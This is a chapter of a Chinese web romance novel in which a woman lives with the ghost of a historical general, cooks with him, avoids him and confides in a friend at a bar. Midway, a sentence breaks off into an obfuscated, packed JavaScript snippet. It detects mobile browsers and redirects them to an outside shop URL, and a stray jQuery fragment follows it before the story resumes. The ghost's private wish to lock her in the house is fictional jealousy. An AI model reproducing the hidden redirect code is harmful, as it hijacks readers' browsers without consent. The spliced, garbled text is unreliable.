陆辞清得到了她的原谅,却并没有自己想象中的如释重负。
他想让她说什么呢?连他自己也不知道。
两人就这么各想各的,气氛有些微妙。
到了超市,朝语拿着推车选了一堆零食。
陆辞清跟在后面问:“你想吃什么?今晚我可以做。”
朝语低头打字。
【朝语:松鼠鳜鱼你会做吗?】
她转发了一个视频到聊天框。
陆辞清最近在网上学了各种菜系,自然也包含这道菜。
于是点头:“可以。”
朝语心情这才转好。
但朝语向来十指不沾阳春水,更别说选菜了。
她站在一缸子鱼前面犯难。
“这怎么选啊。”她自言自语。
陆辞清看着她纠结的后脑勺,嘴角上扬了一瞬,走到她身边,指向其中一条。
“这个。”声音里有浅浅的笑意。
朝语转头看他,哦了一声。
他刚刚是在嘲笑她吧?朝语有些不服气,哐哐打字。
【朝语:我知道,不用你说。】
陆辞清没戳穿她,眼神落在她的双颊,指尖不自觉地捻了捻。
他跟在朝语身后,看着她拿了许多饮料零食,皱眉,不赞成地说:“你或许应该少吃一些零食。”
朝语拿零食的手僵了一下,心说他怎么和她妈妈一样。
但她自己也知道她的生活习惯有多不健康。这几年业内太多人身体出事,搞得朝语也心有戚戚,生怕自己再这么下去英年早逝。
于是只能忍痛割爱,把几包零食放回原位。
一回家,陆辞清便拿着食材走进厨房。
朝语好奇地站在厨房门口,她这还是第一次见陆辞清做饭。
只见他拿着菜刀,利落地将鱼处理了,然后放在旁边备用。
一抬手,案板上的血渍便尽数消失。
朝语有些奇怪,靠在厨房门口问:“你不是不能触碰东西吗?为什么能拿菜刀?”
陆辞清没看她:“没有真的握住。”顿了一会儿才说,“只是站着做饭,有些奇怪。”
朝语试图理解,然后差点笑出声来。
合着他是假装拿菜刀啊,朝语从他的背影中看出了一些不好意思。
对方却还在自顾自地忙碌。
热油下锅,鱼被炸至金黄,捞出之后,淋上了他先前调好的酱汁。
一瞬间,酸甜味扑鼻。
朝语被勾得食欲大发。
陆辞清把菜端上桌,她迫不及待尝了一口,眼睛瞬间被点亮。
“陆辞清,你做饭这么好吃。”她吃得鼓鼓囊囊,含糊地说。
陆辞清坐在对面看她:“你喜欢就好。”
朝语吐槽:“你怎么老这句话。”
陆辞清愣住了一瞬,垂眼:“我确实有些无趣。”
看他又这副委屈模样,朝语简直怕了他了:“我不是那个意思。”见他还是不说话,有点无奈,“你别想那么多。”
陆辞清抬眼,墨黑的瞳直勾勾盯着她,然后扯出一丝笑容。
“嗯,我知道。”他说。
朝语好歹混了这么多年娱乐圈,早看出他是强颜欢笑。但她二十多年的人生里从没有和这种性格的人相处过,更不知道从何安慰。
她有些头疼,连姜且宁这个敏感怪都比他好搞。
见她吃完,陆辞清将碗筷收拾了。
朝语站在旁边偷偷观察他。
他身型瘦削,墨色的长发将脸挡住些许,露出高挺的鼻尖。
不知是光线原因或者其他,陆辞清神色温和,让朝语莫名想到一个网络热词——人夫感。
她的心跳越来越快,有些不受控制。
朝语慌乱地走开,假装自己想要休息,跑回了自己的房间。
她躺在床上,盯着头顶那盏灯,有些恍惚。
自己这是怎么了?
她有些心烦意乱。
恰好这时朋友的信息发来。
【姜且宁:我今天回国,明天去玩吗?】
朝语有气无力地回复。
【朝语:我要上班。】
【朝语:思考人生jpg.】
【姜且宁:你个老板怎么比我这个打工的还忙?】
朝语调侃她。
【朝语;我可和大网红比不了。】
【姜且宁:锤头jpg.】
朝语指尖在键盘上飞速打字。
【朝语:要不明天晚上去零度喝酒?】
【姜且宁:你怎么了?】
朝语删删减减,最后只化为一句感叹。
【朝语:哎……】
对面更好奇了。
【姜且宁:你上次不是要和我说什么吗?是那件事情吗?】
【朝语:差不多,但现在情况很复杂。】
对面连发几条消息轰炸。
【姜且宁:你要急死我,不能现在说吗?】
【姜且宁:啊啊啊啊啊啊啊,我现在就要知道!】
【姜且宁:我今天晚上睡不着觉了!】
朝语唇角上扬,搪塞对方。
【朝语:你就保持好奇吧。】
【朝语:我睡了再见。】
【姜且宁:抓狂jpg.】
尽管对方有万般好奇,也只能等到第二日晚上。
朝语忙完工作,正打算收拾之后去零度,才想到之前答应陆辞清这个月尽量回家吃饭。
但她现在实在不想见到对方,因为只要和他相处,自己就会变得奇怪起来。
于是发了个消息给他。
【朝语:今天我朋友回国,我和她去吃饭,你不用等我。】
【陆辞清:好。】
但收到这条信息的他,心情并没有回复的那么轻松。
陆辞清坐在沙发上,面色有些苍白。
他能感觉到,朝语从昨晚开始,就有些故意避着他。
今天早晨连饭都没吃就直接出门了。
陆辞清心里有些涩意。
是他让她不高兴了吗?所以才这么惩罚他。
可她明明答应了自己尽量回家吃饭,为什么转头却找了别人。
对啊,这个人是她口中最好的朋友。
所以她才轻飘飘将自己抛掷一旁,不管不顾。
陆辞清不自觉地啃着手指,像感觉不到疼痛一般。
朝语是不是讨厌他了?
果然,自己不应该轻信于她,她又在撒谎。
他内心生出一丝妒意。
为什么那位朋友可以轻易得到她的偏心,而自己却永远只能在家等待她的下一步指令?
他应该告诉她契约的真相,然后把她永远关在家里。
他会对她好的,会满足她想要的一切,只要不离开他。
这边的朝语却对他的想法一无所知。
她站在零度酒吧门口。
【朝语:到了没?】
【姜且宁:在红绿灯这边,几分钟。】
朝语无聊地刷了一会儿视频,一辆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913630|213238||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跑车轰鸣而至,停在她面前。
驾驶室下来了一个穿得很骚包的男人,长相堪比当红idol,肩宽腰窄。像是来参加走秀一般,吸引了旁边的一众注意。
朝语扶额,无力吐槽。
对方打开副驾驶车门,一个穿着白色连衣裙,面色有些尴尬的女生,用包挡着自己的脸,快步远离了他。
但对方明显不想如她所愿,伸手拦住她,表情委屈:“宁宁,老婆,宝宝,你还没和我说再见。”
姜且宁像做贼一样,小声敷衍:“再见再见,你快走吧。”
他这才满意,笑容灿烂,露出完美的八颗牙,对站在一旁的朝语说:“我走了,你们好好玩。”
朝语无奈点头。
姜且宁挽住她,表情有些雀跃:“你快说呀,什么事,我都期待好久了。”
朝语打了个哑谜:“进去再说。”
两人进酒吧落座,点了几杯招牌。
“现在可以说了吧?”姜且宁搅动着面前的那杯果酒问她。
朝语叹了一口气,撑着脸颊,不知从何说起。
“七月的时候我和我妈不是去那个陆辞清故居了吗?”朝语开口铺垫,然后说,“结果我回家的时候看见了一个鬼。”
姜且宁不可思议:“啊?”
朝语放出了下一个重磅炸弹:“总之,那个鬼是陆辞清。”
姜且宁以为自己听错了:“陆辞清?就是历史书上那个将军?”
朝语点头,表情复杂:“而且他后面还有个家族,就是淮安那个陆氏集团。总之,他现在只能呆在我家,或者在我周围两公里内距离。”
姜且宁消化着这个信息量,眼里没有对朋友的质疑,只有对八卦的好奇:“然后呢?”
朝语一脸怀疑地看着她:“你都不怀疑一下真实性?”
女生喝了一口酒,哼哼笑了两声:“我一直很相信世界上有鬼啊。”
朝语佩服:“真羡慕你这接受能力。”
姜且宁眨着眼睛,好奇地问:“我记得他长得五大三粗的,你和他住在一起不害怕吗?”想到这里,她倒吸一口凉气:“你不会被他打了吧,所以现在才找我。”
她越想越觉得合理,见朝语不说话,她眼泛泪光:“你不会真被欺负了吧?我现在就帮你找道士驱魔。”
朝语制止她:“你想什么呢,你觉得我会被欺负吗?”
姜且宁乖乖哦了一声,收住眼泪。
朝语解释道:“陆辞清不是你想的那个样子。”她有些难以启齿,想了一会儿措辞,“总之,他长得挺好看的。”
姜且宁耳朵尖起,敏锐捕捉到了八卦:“你这语气,你不会喜欢他吧?”
朝语神色慌张,拍了她的手一下:“你说什么呢?”
这个反应更应证了姜且宁的想法,她喝了一口酒:“你这恋爱经历为零的人,就别质疑我了。”
朝语翻了个白眼:“说得你恋爱经历很多一样。”
姜且宁翘起嘴唇:“至少比你多那么一点点吧。”
朝语耳尖泛红:“你别乱说,我没那个意思。”
姜且宁说:“那你反应这么大干什么,如果不喜欢他,你才不会有什么情绪。”
她凑近了一点,看到朝语的耳朵,笑她:“你看你还害羞了!”
朝语捂住耳朵,恼怒:“你烦不烦!”
姜且宁故意装作严肃几秒,然后破功,又笑着问:“你快说呀,你到底怎么想的,扭扭捏捏可不是你的性格。”
朝语把剩下的酒一饮而尽。